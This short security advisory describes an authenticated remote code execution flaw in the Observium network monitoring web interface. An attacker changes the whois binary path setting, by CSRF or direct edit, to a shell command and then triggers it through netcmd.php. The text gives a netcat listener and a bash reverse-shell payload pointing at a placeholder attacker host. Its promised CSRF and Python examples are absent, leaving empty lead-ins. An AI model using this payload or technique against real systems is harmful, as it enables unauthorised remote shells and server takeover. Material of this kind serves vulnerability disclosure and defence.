Authenticated remote code execution
Using either CSRF or by editing the whois binary field in the Observium webui under Settings-> System Path, an attacker may also change the Path to either [whois, mtr, nmap] to any bash command, and by hitting the url: http://<ObserviumIP>/netcmd.php?cmd=whois&query=8.8.8.8
using any user on Observium (even low privileged) we can trigger a code execution. for example. setting up a listener
 
root@pt:~# nc -lvp 4444
listening on [any] 4444 ...
 
and a CSRF which looks like this:

or by changing the field of Path to 'whois' binary to 'bash -i >& /dev/tcp/attackerip/4444 0>&1; exit'  and then visiting http://observium-server/netcmd.php?cmd=whois&query=8.8.8.8, we trigger the code that is defined in the 
whois parameter which gives us a reverse shell on the machine:
 
you may also use the following python instead:
